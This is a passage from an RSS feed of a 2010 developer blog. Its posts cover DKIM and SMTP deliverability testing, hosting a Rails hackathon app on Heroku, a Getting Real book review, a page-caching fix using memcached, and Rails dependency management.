&lt;a href="https://help.ubuntu.com/community/Postfix/DKIM"&gt;Ubuntu forums&lt;/a&gt; to get
it setup.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;aptitude install dkim-filter
generate rsa keypair, put in /etc/ssl/private/dkim/private.key
edit dns add TXT record with public key
edit /etc/dkim-filter.conf, /etc/default/dkim-filter
edit /etc/postfix/main.cf - add smtpd milter (mail filter)
/etc/init.d/dkim-filter start
/etc/init.d/postfix restart
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Debugging and Testing Your Configuration&lt;/h3&gt;&lt;p&gt;If you've followed this guide blindly up until this point.  Chances
are good that you're emails are still getting spammed-out.  Luckily,
there are tools that help you diagnose whether all these new changes
are actually making a positive effect.&lt;/p&gt;&lt;p&gt;One great way to test is to pretend that you're a mail client sending
an email and telneting to the mail server directly.  I learned this
from a &lt;a href="http://articles.slicehost.com/2008/8/6/postfix-using-telnet-to-test-postfix"&gt;Slicehost
tutorial&lt;/a&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# I ran this directly from the mail server b/c of firewall rules
telnet localhost 25
HELO localhost
MAIL FROM: jerry@outspokes.com
RCPT TO: check-auth@verifier.port25.com
DATA
Subject: test
body text
.
QUIT
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now you can email anyone you'd like for testing, but it's much more
helpful to email check-auth@verifier.port25.com, or
auth-results@verifier.port25.com.  These two emails will check your
mail headers against your DNS records and give you a rating of how
likely your emails will be marked as spam.  The report will be sent to
the 'MAIL FROM' field.&lt;/p&gt;&lt;h3&gt;Additional Improvements&lt;/h3&gt;&lt;p&gt;Now that you have a good baseline setup for your emails to be
delivered, it's time to take a breather and marvel at how your
messages actually make it past spam filters.  But spammers are
constantly improving their game, so having a baseline setup far from
guarantees that your emails will be safe forever.  Here are some
additional tips that may mark your message as suspicious.&lt;/p&gt;&lt;p&gt;Send multipart email instead of only HTML email: send an HTML version
that includes your pretty graphics, but also send a plain text version
that gets the same point across.&lt;/p&gt;&lt;p&gt;Shrink size of images in message - large image implies spam.&lt;/p&gt;&lt;p&gt;Use a real email address instead of noreply@yourdomain.com - By real
address, I mean an address that can be delivered to.  This could be
admin@outspokes.com, or support@outspokes.com.&lt;/p&gt;&lt;h3&gt;Resources&lt;/h3&gt;&lt;p&gt;Quick listing of links that I read:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.corvidworks.com/articles/mail-deliverability-tip"&gt;Reverse DNS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.kitterman.com/spf/validate.html"&gt;SPF&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://dkimproxy.sourceforge.net/usage.html"&gt;DKIM Proxy usage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://serverfault.com/questions/52393/postfix-with-dkim-on-ubuntu"&gt;Postfix with DKIM on Ubuntu via serverfault.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.pocketsmith.com/blog/2009/07/05/setting-up-dkim-and-domainkeys-using-dkimproxy-with-postfix-in-ubuntu-hardy/"&gt;DKIM and DomainKeys with DKIM Proxy on Ubuntu Hardy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.sendmail.org/dkim/testChecker"&gt;Testing DKIM&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Conclusion&lt;/h3&gt;&lt;p&gt;Like I said before, I strongly believe that the right thing to do for
email deliverability is to have someone dedicated handling it.  For
small teams with limited resources, this means going with an external
hosted SMTP service.  On the other hand, if you're curious about how
email works, setting up your own mail server and going through the
setup for ensuring the messages get delivered can teach you the
fundamentals of how email work and also a lot of practical tools to go
along with it.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/QSxEui62n0Q" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Fri, 14 May 2010 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/QSxEui62n0Q/email-deliverability</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2010/05/14/email-deliverability</feedburner:origLink></item>
    <item>
      <title>Beerpad Hackathon: Hosting with Heroku</title>
      <description>&lt;p&gt;When I started &lt;a href="/articles/2010/02/27/hackathon-beerpad"&gt;planning out
Beerpad&lt;/a&gt;, I wanted to focus on
fun beer ideas.  I'm perfectly capable of setting up an environment
for a Rails application to run in, but I didn't want to waste a
morning doing a bunch of chores and have nothing but a "Hello World"
page to show for it.  Once I had my designs, I wanted to prototype the
&lt;em&gt;juicy real features&lt;/em&gt; right away.  Enter
&lt;a href="http://www.heroku.com/"&gt;Heroku&lt;/a&gt;.  Heroku is a service for hosting
Ruby webapps.  I've been interested in the service since I saw &lt;a href="http://adamblog.heroku.com/"&gt;Adam
Wiggins&lt;/a&gt; demo it at a &lt;a href="http://www.meetup.com/silicon-valley-ruby/"&gt;SVC Ruby
Meetup&lt;/a&gt;.  Heroku is a
one-stop service for starting a database-backed, &lt;a href="http://rack.rubyforge.org/"&gt;Rack
compatible&lt;/a&gt;, Ruby webapp.  They use git to
version control your code, &lt;a href="http://code.macournoyer.com/thin/"&gt;Thin&lt;/a&gt;
to serve your traffic, and &lt;a href="http://www.postgresql.org/"&gt;Postgresql&lt;/a&gt; to
store your data.  They also have &lt;a href="http://addons.heroku.com/"&gt;add-ons&lt;/a&gt;
that webapps may find useful.  I've been looking for an excuse to play
with the service, and &lt;a href="http://beerpad.heroku.com/"&gt;Beerpad&lt;/a&gt; fit the
bill perfectly.  Follow the jump for my experiences.&lt;/p&gt;&lt;h2&gt;Research&lt;/h2&gt;&lt;p&gt;Before I got started, I read through their &lt;a href="http://docs.heroku.com"&gt;well-written
documentation&lt;/a&gt;.  It's good to get a high-level
architectural overview of Heroku's infrastructure to appreciate how
much plumbing the service abstracts.  If you're familiar with
deploying a Rails app on a Linux system and use git as your VCS, the
learning curve isn't steep.  That said, because Heroku manages your
entire software stack, there'll more than one layer that you'll need
to reference when you're first starting out.&lt;/p&gt;&lt;h2&gt;Getting Started&lt;/h2&gt;&lt;p&gt;The first step was to generate my blank Rails project.  I chose to use
postgresql locally to mirror the production environment closer, and
also because I had &lt;a href="http://www.whatcodecraves.com/articles/2008/02/05/setup_rails_with_postgresql/"&gt;it setup for previous
projects&lt;/a&gt;.
Once I verified my application ran locally, I added Heroku as a git
remote source and pushed.  The really cool part here is that Heroku
uses git's post receive hook to &lt;a href="http://github.com/carlhuda/bundler"&gt;package your dependencies with Gem
bundler&lt;/a&gt; and deploy it on their
infrastructure.&lt;/p&gt;&lt;h2&gt;How's it drive?&lt;/h2&gt;&lt;p&gt;As someone who has deployed several different Rails apps with
&lt;a href="http://www.capify.org/"&gt;capistrano&lt;/a&gt; and different requirements, my
jaw dropped when I saw in my terminal:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;-----&amp;gt; Heroku receiving push
-----&amp;gt; Gemfile detected, running Bundler
       All dependecies are satisfied
       Locking environment
-----&amp;gt; Rails app detected
-----&amp;gt; Installing Exceptional plugin from
-----&amp;gt; git://github.com/contrast/exceptional.git...done.
-----&amp;gt; Installing quick_sendgrid plugin from
-----&amp;gt; git://github.com/pedro/quick_sendgrid.git...done.
-----&amp;gt; Installing New Relic plugin...done.
       Compiled slug size is 7.6MB
-----&amp;gt; Launching.......... done
       http://beerpad.heroku.com deployed to Heroku
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With a simple "git push heroku", Heroku resolved my gem dependencies,
installed &lt;a href="http://addons.heroku.com/"&gt;add-ons&lt;/a&gt; to handle exception
reporting, emails, and performance monitoring, and restarted the app
servers.&lt;/p&gt;&lt;p&gt;Sure, I've accomplished all of these things before with my other apps,
but each of those tasks had to be thought out separately, written, and
&lt;strong&gt;maintained&lt;/strong&gt;.  I love the git workflow abstraction.  You design, you
test, you code, you push, and voila!  Your app's online.  Rinse and
repeat, and you have an amazing prototyping tool.  I don't miss
configuring capistrano, databases, and postfix.  I don't miss having
separate credentials for github, amazon web services, monitoring, and
servers.&lt;/p&gt;&lt;h2&gt;Rattles and Squeaks&lt;/h2&gt;&lt;p&gt;As much as I love the service up to this point, not everything was
smooth sailing.  At one point, when I pushed the code, Beerpad would
barf up a completely cryptic backtrace.  Trying to access the app via
the online dashboard would cause the dashboard to barf with a 500
server error.  Emailing back and forth with support indicated that it
was a known bug they're working on, and the fix was to delete and
re-add my project.&lt;/p&gt;&lt;p&gt;Now I didn't mind the outage because Beerpad is a toy application with
zero traffic, but if my bread and butter app mysteriously died and the
fix after 24 hours was to delete and re-add, heads would've rolled.&lt;/p&gt;&lt;p&gt;Another annoyance is only 100 lines of logs are kept.  Down the line,
I can imagine an add-on to address this, but in the meantime, &lt;a href="http://www.ioncannon.net/programming/842/heroku-tips-for-the-cheap/#heroku-logs"&gt;people
sent their log data to external
services&lt;/a&gt;.
This works, but definitely isn't in the spirit of removing plumbing
responsibilities from the user.&lt;/p&gt;&lt;h2&gt;Would I pay for it?&lt;/h2&gt;&lt;p&gt;Definitely.  Without a doubt, I see Heroku's value.  It consolidates
several services into one, adds a functional dashboard, and has room
for extensibility.  It saves you a ton of time on plumbing unrelated
to your webapp.  If you're starting a new Ruby webapp, whether
personal or commercial, you'd be nuts to duplicate the work the Heroku
guys have done.  On top of that, because you won't have a dedicated
systems team (read: $$$), you'll end up doing a much worse job.&lt;/p&gt;&lt;p&gt;If you have an existing app and a well defined deployment process, the
story changes.  Replacing one good process with another is a lot of
work and might not be worth it.  But that decision needs to be weighed
on a case by case basis.  For new projects, Heroku is freaking
awesome.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/TtBpNgOdHcU" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 3 Mar 2010 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/TtBpNgOdHcU/beerpad-hackathon-hosting-with-heroku</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2010/03/03/beerpad-hackathon-hosting-with-heroku</feedburner:origLink></item>
    <item>
      <title>Reaction to 37Signal's Getting Real</title>
      <description>&lt;p&gt;The gray and wet weather outside put me in an gloomy mood, so I didn't want to write any 'unhappy' code and regret it later.  Instead, I headed to Cup of Joe on the corner of Dizengoff and Gordon to read 37Signal's book 'Getting Real' while enjoying a creamy cappuccino.  Follow the jump for a short book review.&lt;/p&gt;&lt;p&gt;First of all, &lt;a href="http://gettingreal.37signals.com/"&gt;the book&lt;/a&gt; is &lt;a href="http://gettingreal.37signals.com/toc.php"&gt;free online&lt;/a&gt; and not a long read.  The book is about 37Signal's preferred way of creating web applications and covers all areas of their business from a high level.  The book is broken down into a collection of 91 essays, most of which are a single page.  Each essay ends with one or more quotes from external sources supporting the idea of the essay.&lt;/p&gt;&lt;p&gt;None of the topics shocked me.  This isn't surprising since I'm already brainwashed by the joys of Ruby, and most of my work experience has been with competent and smart small teams.  I found myself nodding along with the uselessness of meetings, and their big emphasis on communication is during the development process.&lt;/p&gt;&lt;p&gt;I liked how each essay took a stance on the topic and gave examples from the team's actual experiences.  While not everyone agrees with 37Signal's approach to doing things, I think their strong opinions reflect the company's discipline in defining a workflow that works well for them.  For example, &lt;a href="http://gettingreal.37signals.com/ch03_The_Three_Musketeers.php"&gt;The Three Musketeers&lt;/a&gt; essay argues that the perfect team size is 3 people;  They didn't rehash a vague cliche that smaller teams are more effective;  They didn't even give a &lt;em&gt;range&lt;/em&gt; like "teams less than 10".  No, the team size is specifically and explicitly 3.  There are supporting arguments, and if you disagree with 37Signals, they're happy to reiterate that you don't work with them and it's simply their own opinion and experiences.&lt;/p&gt;&lt;p&gt;There were some ideas I picked up that I will experiment with my projects.  I found their "promotion" section to be helpful because it details a lot of the personal and non-technical work of launching a webapp.  It reminds me of customer discovery and customer development process that &lt;a href="http://steveblank.com/"&gt;Steve Blank&lt;/a&gt; talks about in &lt;a href="http://www.amazon.com/Four-Steps-Epiphany-Steven-Blank/dp/0976470705"&gt;The Four Steps to Epiphany&lt;/a&gt;.  The idea that software should not be developed without iterating with real customer feedback is repeated by both books.  The idea that less code should be written is well justified by &lt;a href="http://gettingreal.37signals.com/ch05_Hidden_Costs.php"&gt;showing the hidden costs of adding new features&lt;/a&gt;.  I also believe it's the most important point because it saves small teams their most valuable and most limited resource: time.  Without scoping projects to a smart number of features, even the brightest and most agile of teams would have their brain bandwidth saturated.&lt;/p&gt;&lt;p&gt;After applying a few of their concepts, I'll probably revisit the essays and see how effective they were.  If the suggestions turns out to be as useful as some of David Allen's &lt;a href="http://en.wikipedia.org/wiki/Getting_Things_Done"&gt;Getting Things Done&lt;/a&gt; ideas, then it'll make this an afternoon well spent.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/seZKnK-BBbw" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Mon, 1 Mar 2010 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/seZKnK-BBbw/reaction-to-37signals-getting-real</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2010/03/01/reaction-to-37signals-getting-real</feedburner:origLink></item>
    <item>
      <title>Hackathon creation: Beerpad</title>
      <description>&lt;p&gt;&lt;img src="/images/beerpad_logo.png" alt="beerpad logo: cup of beer" style="float:left; margin-right:1em"&gt; To spice things up from
&lt;a href="http://outspokes.com"&gt;Outspokes&lt;/a&gt; and consulting, Arthur, Jeff and I
held our first informal hackathon at &lt;a href="http://www.yelp.com/biz/mo-joe-cafe-berkeley"&gt;Mo Joe
Cafe&lt;/a&gt; on a sunny
Saturday morning. The three of us had no real goal other than to get
our geek on in good company. I had a great time brainstorming and
creating my deliciously refreshing beer review site named
&lt;a href="http://beerpad.heroku.com"&gt;Beerpad&lt;/a&gt;. Follow the jump for details on the project.&lt;/p&gt;&lt;p&gt;&lt;img src="/images/beerpad_screenshot.png" alt="screenshot of beerpad
page" style="float: right"&gt; My idea for Beerpad was straightforward
enough; I wanted an app for writing beer reviews for my own reference
and for sharing and exploring new beers with friends. Up until two or
three months ago, I hadn't kept track of which beers I've tried. When
I started taking notes, they outgrew index cards and my google doc
pretty quickly. Other rating sites like
&lt;a href="http://beeradvocate.com/"&gt;BeerAdvocate&lt;/a&gt; and
&lt;a href="http://www.ratebeer.com/"&gt;RateBeer&lt;/a&gt; have great information but have
become noisy and cluttered over time. I thought I could do better than
what the competition offered. The project also gives me a perfect
excuse to try out new development techniques I've been reading about.&lt;/p&gt;&lt;p&gt;This being a hackathon, I scoped my design to the most interesting features in
order to avoid slogging through uninteresting boring tasks I already knew how
to implement. User registration? Nah. Linux setup? Recently did a bunch of that
for Outspokes. Email deliverability? Later. The list of things I did &lt;strong&gt;not&lt;/strong&gt;
feel like working kept growing and growing. I was starting to worry that I'd
have no project to work on, but the list finally whittled down to the core
features:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;write beer reviews&lt;/li&gt;
&lt;li&gt;add photos&lt;/li&gt;
&lt;li&gt;search for beers&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;There are many fun ideas that friends have suggested like beer quests/feats,
social networking, and mobile tools. I wanted to make this a realistic
hackathon and complete something substantial and useful, so I'm keeping these
fantastic ideas out of the first release for the sake of time. Many thanks to
Dennis, Graham, both Wendys, Lilly, Andrew, and Sam for helping me seed
initial beer names. I owe y'all a brewsky the next time I concoct a batch.&lt;/p&gt;&lt;h2&gt;Summary of topics&lt;/h2&gt;&lt;p&gt;These links will fill out as I write about them&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Hosting with Heroku&lt;/li&gt;
&lt;li&gt;Authentication with Authlogic&lt;/li&gt;
&lt;li&gt;Don't acts as no stinking state machine&lt;/li&gt;
&lt;li&gt;Sexy uploaders with SWFUpload, Paperclip, and S3&lt;/li&gt;
&lt;li&gt;Why acceptance testing? A lazy programmer's story of frustration with Cucumber and Watir&lt;/li&gt;
&lt;li&gt;Design for optimization: When it's not premature optimization&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;I had a lot of fun researching new techniques for writing this application.
For hosting, I tried out Heroku and fell in love with their git workflow. For
authentication, I took a step away from the well known
&lt;a href=""&gt;restful_authentication&lt;/a&gt; plugin to look at &lt;a href=""&gt;clearance&lt;/a&gt; and &lt;a href=""&gt;authlogic&lt;/a&gt;.
I found a great API with Authlogic and preferred it over its alternatives. I
decided to allow drafts on beer reviews, so I reached for &lt;a href=""&gt;AASM
(acts_as_state_machine)&lt;/a&gt;, but I also looked at some alternatives. Unlike the
happy endings of Heroku and authlogic, my adventure with state machines was a
complete pain. For photo uploads, I wanted a sexy multifile uploader like
flickr or gmail. This led me down a confusing maze of flash uploaders, flash
bugs, and hard to configure Rails plugins and libraries. Concurrent with all
this research and development. I looked for better ways to do integration and
acceptance testing and also to design with performance in mind.&lt;/p&gt;&lt;p&gt;Whew. That was a lot to summarize and blurt out all at once. I think I'm going
to find myself a cold refreshing beer to try. &lt;a href="http://beerpad.heroku.com/"&gt;You should join
me&lt;/a&gt;. -Jerry&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/ujAvwzlwlWo" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Sat, 27 Feb 2010 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/ujAvwzlwlWo/hackathon-beerpad</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2010/02/27/hackathon-beerpad</feedburner:origLink></item>
    <item>
      <title>Page Caching Gotcha on Heroku</title>
      <description>&lt;p&gt;Andrew noticed that his beer reviews weren't showing up on
&lt;a href="http://beerpad.heroku.com/"&gt;beerpad&lt;/a&gt; after he published them. His reviews
were saved in the database and showed up on redeploy. I smelled a caching bug.
Digging a little deeper, I found out that caches_page and expire_page are
&lt;a href="http://github.com/ricardochimal/rails/commit/ecd52a0f6b841d8a84f95fddff1ae4c774e4440e"&gt;overridden&lt;/a&gt;
on Heroku to set http caching headers rather than write a file to the local
filesystem. While I was fixing this bug, I picked up on a lot of useful
details about Rails action caching and configuration. Details and my fix after
the jump.&lt;/p&gt;&lt;p&gt;With Heroku's &lt;a href="http://docs.heroku.com/constraints#read-only-filesystem"&gt;read-only
filesystem&lt;/a&gt; and &lt;a href="http://heroku.com/how/architecture"&gt;dyno
architecture&lt;/a&gt;, it doesn't make sense to
write rendered pages to file. However, in order to be compatible with existing
apps, Heroku uses the &lt;a href="http://github.com/pedro/caches_page_via_http"&gt;caches_page_via_http
plugin&lt;/a&gt; to cache entire
responses in the &lt;a href="http://docs.heroku.com/http-caching"&gt;Varnish layer&lt;/a&gt; for a
few minutes. The problem with this is that expire_page is overridden to be
noop, so stale pages can be served to users even if your code calls
expire_page in the correct places.&lt;/p&gt;&lt;p&gt;For example, my original code did the following:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;update a beer review&lt;/li&gt;
&lt;li&gt;expire the cached page for /reviews&lt;/li&gt;
&lt;li&gt;redirect to /reviews&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;After a user submits their review, they should see their review at the top of
the reviews listing at /reviews. With Heroku's patch, step 2 becomes a noop,
and caches_page sets /reviews Cache-Control header to have a max age of 5
minutes. If a user finishes writing a review in less than 5 minutes from the
previous page cache, a stale page is served to them &lt;em&gt;without&lt;/em&gt; their published
review.  As a user, you'd think "crap, my review got nuked".  For example:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;GET /reviews - cached in Varnish and client browser for 5 minutes.&lt;/li&gt;
&lt;li&gt;GET /reviews/new - start a beer review.&lt;/li&gt;
&lt;li&gt;write quick review and submit in &amp;lt; 5 minutes.&lt;/li&gt;
&lt;li&gt;POST /reviews - &lt;strong&gt;should&lt;/strong&gt; expire page, but is noop instead.&lt;/li&gt;
&lt;li&gt;redirect GET /reviews - stale page served from browser cache b/c &amp;lt; 5 minutes has elapsed.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;After I figured this out, I switched my controller and sweepers to use
&lt;a href="http://api.rubyonrails.org/classes/ActionController/Caching/Actions.html"&gt;caches_action and
expire_action&lt;/a&gt;
to make expiration work again.&lt;/p&gt;&lt;p&gt;A minor gotcha with expire_action is you cannot use restful route helpers by
default. The default cache_path used to key a cached value includes the
hostname. If you try to expire using the route helpers, your key won't match
and the cached value won't be expired.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# original page caching expiration
expire_page reviews_path

# new action caching expiration, note that options for path_for are passed in
# instead of using restful route helpers.
expire_action :controller =&amp;gt; 'reviews', :action =&amp;gt; 'index'
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Multiple Dynos&lt;/h2&gt;&lt;p&gt;Replacing page caching with action caching solves the problem caused by noop
expiration. But using the default memory cache store with multiple dynos will
still cause stale pages to be served. The new problem is that each dyno keeps
it's own local memory cache, which means when you expire the cache, you're
only expiring one dyno's cache rather than expiring all the caches. To get
around this, we need to use a centralized cache store like Memcached or DRb.
The Rails guide on caching has a &lt;a href="http://guides.rubyonrails.org/caching_with_rails.html#cache-stores"&gt;good
explanation&lt;/a&gt;
of the cache stores available and their differences.&lt;/p&gt;&lt;p&gt;On Heroku, turning on Memcached is &lt;a href="http://docs.heroku.com/memcached"&gt;really simple and well
documented&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# in terminal at rails root
heroku addons:add memcached

# config/initializers/memcached.rb - initialize connection to memcached on heroku
if ENV['MEMCACHE_SERVERS']
  require 'memcache'
  servers = ENV['MEMCACHE_SERVERS'].split(',')
  namespace = ENV['MEMCACHE_NAMESPACE']
  CACHE = MemCache.new(servers, :namespace =&amp;gt; namespace)
end

# config/environments/production.rb - use memcached as cache store
if ENV['MEMCACHE_SERVERS']
  memcache_config = ENV['MEMCACHE_SERVERS'].split(',')
  memcache_config &amp;lt;&amp;lt; {:namespace =&amp;gt; ENV['MEMCACHE_NAMESPACE']}
  config.cache_store = :mem_cache_store, memcache_config
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I wrote a testing controller with 2 actions, and increased my dynos to 2 to
compare the default memory cache store and memcached cache store.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class TestingController &amp;lt; ApplicationController
  caches_action :caching
  def caching
    render :text =&amp;gt; "I was rendered at #{Time.now}"
  end

  def blocking
    sleep 10
    render :text =&amp;gt; "finished blocking at #{Time.now}"
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once pushed and deployed, I repeatedly hit /testing/caching, and
/testing/blocking from separate tabs. With the default memory cache store, I
saw 2 different times on /testing/caching. Once I configured Rails to use
memcached as the cache store, I saw only be a single time on /testing/caching.
This makes sense because both dynos are pulling from the same centralized
cache.&lt;/p&gt;&lt;p&gt;The moral of the story is to not use page caching on Heroku for pages that
need to be manually expired. Personally, I'm just going to set http expiration
headers myself to make the code's behavior more transparent and consistent
between local development and Heroku production.&lt;/p&gt;&lt;h2&gt;Useful debugging tips&lt;/h2&gt;&lt;p&gt;To see the cache store currently being used and the contents of your cache:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;script/console production
app.get '/'
# tells you what cache_store is being used, and what's in your cache
app.controller.send(:cache_configured?)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Sweepers have a reference to the controller, so it's useful to set a
breakpoint before and after the call to expire_action:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# in review_sweeper.rb
def after_save(obj)
  debugger
  # inspect 'cache_configured?' or 'self.controller.send(:cache_configured?)'
  expire_action :controller =&amp;gt; 'reviews', :action =&amp;gt; 'index'
end
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Reference Links&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://guides.rubyonrails.org/caching_with_rails.html"&gt;RailsGuides - Caching with Rails&lt;/a&gt; - great overview of caching, and explains cache memory stores.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://api.rubyonrails.org/classes/ActionController/Caching/Actions.html"&gt;Rails action caching documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://api.rubyonrails.org/classes/ActionController/Caching/Pages.html"&gt;Rails page caching documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://docs.heroku.com/http-caching"&gt;Heroku HTTP caching documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://docs.heroku.com/memcached"&gt;Heroku Memcached documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://redbot.org/"&gt;Resource Expert Droid&lt;/a&gt; - useful service for inspecting http response headers&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/AY1KGo-E4yQ" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 24 Feb 2010 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/AY1KGo-E4yQ/page-caching-gotcha-on-heroku</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2010/02/24/page-caching-gotcha-on-heroku</feedburner:origLink></item>
    <item>
      <title>Rails Dependency Management</title>
      <description>&lt;p&gt;Rails has two methods of adding external libraries to a project,
&lt;a href="http://docs.rubygems.org/"&gt;rubygems&lt;/a&gt; and
&lt;a href="http://guides.rubyonrails.org/plugins.html"&gt;plugins&lt;/a&gt;.  There are also
different ways to manage these external libraries.  Here are some
conventions I've picked up over the years for managing dependencies in
development and deployment as painless and maintainable as possible.&lt;/p&gt;&lt;h2&gt;Rubygems&lt;/h2&gt;&lt;p&gt;I prefer using gems over plugins whenever possible because they are
easily shared between different applications, and are versioned.
Multiple versions of the same gem can be installed on the same box,
and it's up to the application to specify which version it wants to
use.  This is great if you have older apps that aren't ready to go up
to a newer version living in the same environment as apps who are
already using a newer version of the same library.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies"&gt;Ryan's Scraps introduction&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://railscasts.com/episodes/110-gem-dependencies"&gt;Railscast&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://api.rubyonrails.org/classes/Rails/Configuration.html#M002537"&gt;Rails API documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://docs.rubygems.org/"&gt;Rubygems documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Gem Bundler&lt;/h3&gt;&lt;p&gt;In addition to installing gem dependencies on production boxen by
hand, there's an interesting new kid on the block called
&lt;a href="http://yehudakatz.com/2009/11/03/using-the-new-gem-bundler-today/"&gt;Bundler&lt;/a&gt;.
The idea is you declare what gems and versions belong with a Rails
application in a Gemfile which is used by the 'gem bundle' command to
freeze those gems into vendor/gems.  To 'freeze' a library in
Rails-speak is to copy that library into the vendor directory; It
offers the same tradeoffs as
&lt;a href="http://en.wikipedia.org/wiki/Static_library"&gt;static-linking&lt;/a&gt; and
&lt;a href="http://en.wikipedia.org/wiki/Dynamic_link_library"&gt;dynamic-linking&lt;/a&gt;.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="http://yehudakatz.com/2009/11/03/using-the-new-gem-bundler-today/"&gt;Yehuda Katz introduction&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://docs.heroku.com/gems"&gt;Heroku docs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;I use a combination of Bundler and Rail's builtin 'config.gem' on
Heroku.  For every gem that is already available on the hosts, I use
'config.gem' and use the existing shared gem to avoid wasting space
with freezing gems.  For gems that are not available on the box, I
have a Gemfile that Bundler uses to freeze gems on every deploy.  I
get the benefit of static-linking for gems aren't available on the
local host, but also get the benefit saving space with
dynamic-linking.&lt;/p&gt;&lt;h2&gt;Plugins&lt;/h2&gt;&lt;p&gt;Originally I thought of gems as general purpose ruby libraries, and
'plugins' as ruby libraries that are only useful within a Rails
application.  That distinction isn't very useful practically.  Even if
a shared library is only useful within a Rails app, I still prefer to
use a gem because gems are versioned and have tools to maintain and
manipulate them.  Luckily many Rails plugins usually offer themselves
as both a tradition plugin that gets frozen in vendor/plugins, or as a
gem dependency.&lt;/p&gt;&lt;p&gt;One plugin nasty plugin habit I had to get rid of was the urge to
'script/generate plugin' whenever I wasn't sure where to put a certain
chunk of modular code.  Before you do this, remember that plugins are
supposed to be resuable in &lt;em&gt;any&lt;/em&gt; Rails app.  If your plugin can't be
decoupled from your Rails project and dropped into a fresh one, then
it probably belongs in 'lib' and not 'vendor/plugins'.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://ryandaigle.com/articles/2007/2/23/what-s-new-in-edge-rails-stop-littering-your-evnrionment-rb-with-custom-initializations"&gt;Ryan's Scraps rails
initializers&lt;/a&gt;
are useful for requiring extra libraries you have in 'lib' instead
of 'vendor/plugins'&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://errtheblog.com/posts/3-organize-your-models"&gt;Err the Blog load_paths
example&lt;/a&gt;. It's
good to understand how
&lt;a href="http://api.rubyonrails.org/classes/Rails/Configuration.html"&gt;config.load_paths&lt;/a&gt;
work so you can organize where you put your shared code.&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Avoid Dependencies&lt;/h2&gt;&lt;p&gt;Probably the most important lesson I've learned is to not get too
trigger happy with adding new external libraries.  There are a lot of
